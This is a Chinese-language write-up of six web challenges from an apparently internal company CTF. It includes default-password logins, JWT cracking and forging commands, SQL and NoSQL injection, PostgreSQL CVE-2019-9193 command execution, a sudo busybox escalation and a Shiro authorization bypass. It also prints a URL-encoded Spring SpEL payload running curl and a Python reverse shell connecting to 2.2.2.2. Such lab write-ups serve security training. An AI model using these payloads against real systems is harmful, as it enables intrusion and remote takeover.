1. 初赛——ez0day
环境为某个不出名的绩效考核系统,java写的,漏洞点较多。
首先其存在默认密码,官方自带的用户手册可以看到,所以可以直接进后台,而后台有个这么功能(非预期解)。
所以直接就代码执行了。。。
但是这个代码执行并不是那么完美,因为它只有第一次保存会生效。可能是环境问题当我测试时把第一次机会浪费了,因此就折腾了好久。后来要求重启服务,第一次直接上jndi,然后jndi转反序列化转tomcat内存马搞定。
认真代码审计中可发现以下漏洞。
此处上传接口未调用了checkFileType进行白名单校验,他写了白名单,写了校验方法,但就是任性不调。
此处任意文件下载也差不多,他写了filterFilePath方法做处理,其他下载接口均使用了,偏偏这个不用而且是个未授权接口。
以及一系列非常直白非常极端的未授权soap的api,可直接命令执行/读写文件
当然,实际环境修复了一部分,但还是比较容易拿到shell。
2. 初赛——欢迎参加CTF初赛
一个登录接口,默认用户admin,有弱口令123456,进去之后只有一个权限检测。
权限检测接口则存在很明显的flask-jwt的session,随便改一下可以得到报错页面。
没有其他思路,于是用flask-unsign解密jwt
python3 -m pip install flask-unsign
flask-unsign –decode –cookie eyJxxx.xxx.xxx
同样没思路,只能爆破jwt key。
sudo apt-get install libc-dev
sudo apt-get install npm
sudo npm install –global jwt-cracker
jwt-cracker “eyJxxx.xxx.xxx” “abcdefghijklmnopqrstuwxyz1234567890” 6
利用jwt.io官网进行cookie修改(比较方便)。
放到原查询权限接口,发现是SQL注入。
有报错信息所以直接用报错注入了,反复手注,发现其实flag是最后一个用户名。
payload如下构造即可。
得到结果如上,由于报错注入只能显示31位,再往后推几位就能全部显示flag了。
3. 初赛——拳击赛
题目是个冷门web项目,开放了两个端口,除了web之外另一个端口是PostgreSQL。web很简单没漏洞,解决方法在PostgreSQL中。
找该项目在GitHub的配置文件中可发现默认密码,是个弱密码,爆破也可以得到。
由于PostgreSQL版本较高,可以直接CVE-2019-9193命令执行。
这里有个推荐的sql利用工具。
https://github.com/SafeGroceryStore/MDUT
明显是提权,一般简单的靶机,要么是SUID,要么是sudo。
sudo -l
sudo /var/backups/busybox1 id
最后发现flag在/root/flag中,就不截图了。
4. 初赛——冲破封锁线
一个明显的spring+shiro的登录页面,但显然不是shiro-550或者弱密码。虽然这个登录页面没有什么用,但给了这个靶场的重要提示。
接下来是接口爆破,swagger的页面是/swagger-ui/index.html,我字典里居然没有。
直接访问/customer/123/byPhone权限不够,使用/customer/123%0A/byPhone越权成功。
由于shiro出现的越权CVE实在太多,实际黑盒去测应该是很痛苦的事,可以参考下面的。
https://www.anquanke.com/post/id/240033
https://www.anquanke.com/post/id/240202
https://xz.aliyun.com/t/11633
越权之后却没有任何信息,根据mongo的提示,需要结合越权利用另外一个CVE-2022-22980。
/customer/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%69%70%2e%63%6f%6d%22%29%0A/byPhone
payload改成弹shell的即可。
5. 初赛——在线IM
很单纯的nosql注入却没几个人做的出来,是个Websocket环境,发送{‘$ne’:1}即可获得flag,注意不能是双引号。
6. 初赛——pyhub
第一次访问会给一个jwt cookie而且有提示需要admin,解出如下。
那么很明显是让你篡改jwt cookie,爆破如下。
python3 -m pip install flask-unsign-wordlist
flask-unsign –cookie eyJxxx.xxx –unsign
然后要修改cookie。
flask-unsign –sign –cookie “{‘user’: {‘is_admin’: True}}” –secret 123456 –no-literal-eval
至此成功访问api。
顺便这题我做到这里就不会了,而且这题严重影响了我对另外一题解jwt的思路,因为我想的是无论如何不可能存在两题爆破jwt密钥。
先试试上传接口
测试可以发现,通过控制filename=”/opt/ctf/1.txt”,可以上传到/opt/ctf/下已存在的任意目录。上传py文件会报错,所以正如题目所说,这是一个上传pyc文件的靶场。
pyc就是py的编译文件,在import时就会自动生成。
再来看另外一个接口/api/v2/test
通过报错提示可以看出来,是调用api.views2的方法。
这里有些误导,会让人联想到可能存在类似java一些漏洞的玩法,通过python内置attribute,去设置某些属性,达到RCE的效果,比如这样。
但实际上就只是单纯告诉你这个接口是调用的/opt/ctf/api/views2.pyc的test方法,只要制作并上传views3.pyc就行。
那么如何制作pyc呢?首先要在/api/version查看python版本然后使用同版本。
/usr/local/python3.6.9/bin/python3 -m compileall test.py
然后会生成__pycache__/test.cpython-36.pyc
上传到/opt/ctf/api/views3.pyc路径。
最后POST访问/api/v3/test即可。
test.py内容,经过前期对/api/v2/test接口的探测,只需要传参dict,返回str即可。
反弹shell的payload制作如下。
def test(args={}):
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("2.2.2.2",5667))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return "ok"
而且还从POST JSON传参到args,写成命令执行或者任意文件读取的shell也很容易。
效果是这样的
原文始发于微信公众号(珂技知识分享):公司内部CTF的初赛web题